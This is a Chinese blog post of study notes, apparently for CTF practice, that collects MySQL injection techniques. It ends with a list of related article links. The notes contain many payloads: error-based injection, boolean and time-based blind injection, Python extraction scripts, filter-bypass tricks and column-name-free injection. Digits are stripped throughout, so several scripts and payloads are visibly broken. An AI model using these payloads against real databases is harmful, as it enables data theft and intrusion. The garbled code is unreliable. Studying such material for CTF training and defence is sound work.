师傅tpl!!!!!

https://xz.aliyun.com/t/7169[对MYSQL注入相关内容及部分Trick的归类小结]

https://www.jianshu.com/p/f2611257a292[学习笔记——从头学sql注入]

https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/【smi1e师傅的学习笔记】

https://github.com/CHYbeta/Web-Security-Learning#sql%E6%B3%A8%E5%85%A5

https://skysec.top/2017/07/19/sql%E6%B3%A8%E5%85%A5%E7%9A%84%E4%B8%80%E4%BA%9B%E6%8A%80%E5%B7%A7%E5%8E%9F%E7%90%86/【sql注入的一些技巧原理】

最近看师傅们的blog复习了一下,真的很全面。

记录一下复习的过程:

一些必须知道的函数与符号:

#摘自byc师傅的博客,师傅的博客我已经放到上面了
user() :当前使用者的用户名
database():当前数据库名
version():数据库版本
datadir:读取数据库的绝对路径
concat()/concat_ws():多个字符串连接成几个字符串
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据//常见于注入

//常见于布尔盲注
length():返回字符串的长度
substr():截取字符串
mid():截取字符串
ascii():返回字符的ascii码

//常见于时间盲注
sleep(): 函数延迟代码执行若干秒

//用于注释的符号,或者效果等同于注释的
#
--+
or '='1//闭合单引号
or  闭合双引号,以此类推补充弄:@@vasedir:mysql安装路径@@version_compile_os:操作系统~   一元字符反转

原理:

我认为原理基本就是 由于对用户的输入没有进行严格的控制与过滤,导致一些恶意语句与后端的sql语句拼接,带入查询.

思路:

可以先进行fuzz看有无回显,回显考虑联合查询,无回显可以考虑报错以及盲注。具体的注入过程要fuzz环境下数据库的版本、过滤的规则、等等......再选择合适的方法去bypass

报错注入:::::::(通过特殊函数错误使用,输出错误信息的同时带出我们想要非法访问的信息)

常用的一些函数:

1.exp()------->返回e的x方结果

报错原理:mysql记录的double数值有限,超限则报错

payload:exp(~(select * from(select user())a))   ~讲字符串处理变成大整数,放入exp函数中,超过数组范围,报错

2.floo() 与 rand()

floor(rand(0)*2),同时配合group by 与 concat()

select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a

要注意的一点:数据表需要三条及以上数据才能报错........

原理去看一下师傅的blog吧:https://xz.aliyun.com/t/7169#toc-18

3.updatexml()

updatexml(XML_document, XPath_string, new_value);

一般在xpath参数位置写入我们要查询的内容

payload:updatexml(1,concat(0x7e,version(),0x7e),1)

原理:由于参数格式不正确产生错误,Xpath_string需要Xpath格式的字符串,但是我们用了concat将version()函数转为字符串,不符合格式报错。。。

4.extractvalue()

and (extractvalue(1,concat(0x7e,(sql语句)),0x7e))

但是这个方法只能爆出32位,如果要查询的内容太长,可以引用mid()函数。

例如:

' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),29,60)))

5.还有一些几何函数:直接摘用师傅blog里的

GeometryCollection():id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
polygon():id=1 AND polygon((select * from(select * from(select user())a)b))
multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))
linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))

疑问::这里多层的语句查找是为什么???  是为了防止过滤空格吗?????

6.不存在的函数

7.bigint数值操作:

原理:当mysql数据库的某些边界数值进行数值运算时,会报错

payload: 

8.name_const() 只能查库版本

payload: select * from(select name_const(version(),0x1),name_const(version(),0x1))a

9.uuid相关的函数

版本:8.0.

SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=));
SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=));

10.jojin using()注列名

select * from(select * from users a join (select * from users)b)c;
select * from(select * from users a join (select * from users)b using(username))c;
select * from(select * from users a join (select * from users)b using(username,password))c

11.GTID相关:

);
,),,)),);
);

盲注:::::::::::

写脚本跑;;;

布尔盲注:::::::

1.left()   left(1,2)  从左截取 1 的前 2位

left(database(),)>’s’ 

2. ascii()与substr()

二分法:::

ascii(substr((,))=

3.regexp()

正则判断:

select user() regexp('^ro')

下面附上byc师傅blog上大致的脚本模板:

import requests

url=''
flag=''
,):
    a=
    ,):
        payload="1' or ascii(substr((select flag from flag),{0},1))={1}#"
        data=payload.format(i,j)
        res=requests.post(url,data=data)#data依据可注入点而定
        if('abc' in res.text)#此处依照正确的回显内容而定
        flag+=chr(j)
        print(flag)
        a=
    : break

时间盲注::::

ascii  +  substr    sleep   if(a,b,c)

exp:摘自byc师傅的blog

import requests
url=''
flag=''
,):
    print(i)
    a=
    payload="1' or select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)#"
    ,):
        data={'}
        try:
            result=requests.post(url,data=data,timeout=)
        except requests.exceptions.ReadTimeout:
            flag+=chr(j)
            print(flag)
            a=
            break
     : break

还可以用: benchmark(),以及复杂运算的函数都可以用。。。。。

例如:

笛卡尔积合并数据表、GET_LOCK双SESSION产生延迟

常见的绕过:::(一般过滤都是正则,如果可以看到源码要注意观察,如果看不到,就多fuzz8)

ban空格:::

, %0a, %0b, %0c, %0d, %a0,%20改用+号拼接语句括号嵌套:::例如   select user() from ---->select(user())froom

and/or   被ban

.双写
.逻辑运算符 &&  ||  ^
.拼接=号   例如:  ?id==(.....)

逗号被ban

.join语句代替
.改用盲注
.substr(data  )====substr(data,,)
   limit  offset  ====== limit ,

ban一些特殊的函数,词组

sleep()<==>benchmark()
concat_ws()<==>group_concat()//还是有区别的,但是效果一致
mid()、substr() <==> substring()if语句可替换为  case when(条件) then 代码  else 代码 end  代码例如:
select case when substring((select user()) from {0} for 1)={1} then sleep(5) else 1 end ==== if(substring((select user()) from {0} for 1)={1},sleep(5),1)information_schema  === sys.schema_auto_increment_columns   版本要求 mysql5.7+

information_schema ===  $schema_flattened_keys ===  sys.schema_table_statistics  也要求 5.7+(当information_schema.tables被ban,一般也无法得到列名information_schema.columns  可直接考虑无列名注入)
handle可以代替select 查询:
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
 
还有一些特殊情况:::
题目并不ban select和union  但是union select同时出现时就被ban了
可以采取正则回溯bypss
以下解释直接引用 https://xz.aliyun.com/t/7169#toc-47
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。若我们输入的数据使得PHP进行回溯且此数超过了规定的回溯上限此数(默认为 100万),那么正则停止,返回未匹配到数据。
构造payload:union/*100万个a,充当垃圾数据*/select即可绕过正则判断

无列名盲注:::

1.直接引用https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/

以及byc师傅的blog

普通sql注入

select * from users
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| id | name         | password                                 | email                       | birthdate  | added               |
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
|   | alias        | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example.org      | -- | -- :: |
|   | accusamus    | 114fec39a7c9567e8250409d467fed64389a7bee | sawayn.amelie@example.com   | -- | -- :: |
|   | dolor        | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | stefan41@example.com        | -- | -- :: |
|   | et           | aaaf2b311a1cd97485be716a896f9c09aff55b96 | zwalsh@example.com          | -- | -- :: |
|   | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | pattie.medhurst@example.net | -- | -- :: |
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
 rows in set (0.00 sec)
改一下语句  ,,,, ,6union select * from users
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
|  |             |                                         |                            |           |                    |
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
|  |             |                                         |                            |           |                    |
|  | alias        | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example.org      | -- | -- :: |
|  | accusamus    | 114fec39a7c9567e8250409d467fed64389a7bee | sawayn.amelie@example.com   | -- | -- :: |
|  | dolor        | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | stefan41@example.com        | -- | -- :: |
|  | et           | aaaf2b311a1cd97485be716a896f9c09aff55b96 | zwalsh@example.com          | -- | -- :: |
|  | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | pattie.medhurst@example.net | -- | -- :: |
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
 rows in set (0.00 sec)

单独引用某一列  使用反引号:

 ` ,,,,, union select * from users)a;
+-----------------------------+
|                            |
+-----------------------------+
|                            |
| veronica80@example.org      |
| sawayn.amelie@example.com   |
| stefan41@example.com        |
| zwalsh@example.com          |
| pattie.medhurst@example.net |
+-----------------------------+
 rows in set (0.00 sec)

如果反引号被过滤::

,, , union select * from users)a;
+-----------------------------+
| b                           |
+-----------------------------+
|                            |
| veronica80@example.org      |
| sawayn.amelie@example.com   |
| stefan41@example.com        |
| zwalsh@example.com          |
| pattie.medhurst@example.net |
+-----------------------------+
 rows in set (0.00 sec)

无列名盲注还可以用 order by 比较注入:

这个不太熟悉,直接引用师傅的bloghttps://xz.aliyun.com/t/7169#toc-36

这种方法运用的情况比较极端一些,如布尔盲注时,字符截取/比较限制很严格。例子:

 limit )='r'
如果能一眼看出原理的话就不需要继续看下去了。

实际上此处是利用了order by语句的排序功能来进行判断的。若我们想要查询的数据开头的首字母在字母表的位值比我们判断的值要靠后,则limit语句将不会让其输出,那么整个条件将会成立,否之不成立。

利用这种方法可以做到不需要使用like、rlike、regexp等匹配语句以及字符操作函数。

再举个例子:

select username,flag,password from users where username='$username;'
页面回显的字段为:username与password,如何在union与flag两单词被拦截、无报错信息返回的情况下获取到用户名为admin的flag值?

我们前边讲到了无列名注入,通过使用union语句来对未知列名进行重命名的形式绕过,还讲过通过使用join using()报错注入出列名。但现在,这两种方法都不可以的情况下该如何获取到flag字段的内容?

使用order by可轻松盲注出答案。payload:

, order by
与之前的原理相同,通过判断前后两个select语句返回的数据前后顺序来进行盲注

还有就是二次注入,宽字节注入,堆叠注入(强网杯随便注做过笔记https://www.cnblogs.com/tiaopidejun/p/12333170.html)

Latin 1 默认编码(这个没咋看懂,没事再去师傅blog研究研究吧https://xz.aliyun.com/t/7169#toc-14

----------

顺提一点PDO场景注入  ---swpuCTF   web4     以及GYCTFeasysqli_copy

Mysql注入汇总!!!!!!!!!的更多相关文章

  1. mysql注入篇

    博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑. 由 ...

  2. MySQL笔记汇总

    [目录] MySQL笔记汇总 一.mysql简介 数据简介 结构化查询语言 二.mysql命令行操作 三.数据库(表)更改 表相关 字段相关 索引相关 表引擎操作 四.数据库类型 数字型 字符串型 日 ...

  3. MySQL注入与防御(排版清晰内容有条理)

    为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...

  4. MySQL登录汇总

    --MySQL登录汇总 --------------------2014/5/17 1. ERROR 1045错误ERROR 1045 (28000): Access denied for user ...

  5. Mysql注入小tips --持续更新中

    学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...

  6. 史上最完整的MySQL注入

    原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...

  7. MySQL注入技巧性研究

    0x00 前言 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.MySQL 是最流行的关系型数据库管理系统之一,本人最近针对MySQL注入做了 ...

  8. 【mysql注入】mysql注入点的技巧整合利用

    [mysql注入]mysql注入点的技巧整合利用 本文转自:i春秋社区 前言: 渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合 简介: 如下 mysql注入点如果权限较高的话,再知道w ...

  9. 【sql注入教程】mysql注入直接getshell

    Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...

随机推荐

  1. 消息队列MQ集合

    消息队列MQ集合 消息队列简介 kafka简介 Centos7部署zookeeper和Kafka集群 .

  2. tomcat 日志

    1.Tomcat的日志(./tomca/logs/) 分为5类,这里面 1和5比较重要 .catalina.--.log 或者 catalina.out: 引擎的日志文件 .host-manager. ...

  3. 我说我了解集合类,面试官竟然问我为啥HashMap的负载因子不设置成1!?

    在Java基础中,集合类是很关键的一块知识点,也是日常开发的时候经常会用到的.比如List.Map这些在代码中也是很常见的. 个人认为,关于HashMap的实现,JDK的工程师其实是做了很多优化的,要 ...

  4. JS用map做接口数据映射

    · 接口做数据映射的好处:前端页面自定义的字段不需要和后端字段相同,后端修改字段前端不受影响. · 从接口得到数据 res: let r = res.map(item => { return { ...

  5. 计算机网络 From Mr.Liu

    引言 本博客摘自Mr.Liu,原帖请点击这里. 感谢Mr.Liu,这个文章很充分的描述了计算机网络的核心知识点. 我还在学习中,所以没有进行自己的转述.图片因为是copy代码而没有获得,想看更详尽的, ...

  6. 深浅COPY浅谈

    通俗地谈一下深浅COPY的区别,顺便做个笔记.(纯手打,如有不对之处还望大牛指导改正.) 个人觉得区分这个概念需要从数据类型来切入: 1.如果“被复制对象”(后面简称“原对象”)的数据类型为不可变数据 ...

  7. Java高级项目实战02:客户关系管理系统CRM系统模块分析与介绍

    本文承接上一篇:Java高级项目实战之CRM系统01:CRM系统概念和分类.企业项目开发流程 先来CRM系统结构图: 每个模块作用介绍如下: 1.营销管理 营销机会管理:针对企业中客户的质询需求所建立 ...

  8. Elasticsearch之集群

    ElasticSearch集群 ES集群是一个 P2P类型(使用 gossip 协议)的分布式系统,除了集群状态管理以外,其他所有的请求都可以发送到集群内任意一台节点上,这个节点可以自己找到需要转发给 ...

  9. 秋水逸冰实用Linux脚本收藏

    秋水逸冰的脚本非常受欢迎,奈何其本人博客已经不能访问(目前是这样,不知道别的地区是否能访问),实际上GitHub上他本人一直在维护,因为某些原因不放出他本人的GitHub地址.截止到2019年12月1 ...

  10. Python3标准库:bisect维护有序列表

    1. bisect维护有序列表 bisect模块实现了一个算法来向列表中插入元素,同时仍保持列表有序. 1.1 有序插入 下面给出一个简单的例子,这里使用insort()按有序顺序向一个列表中插入元素 ...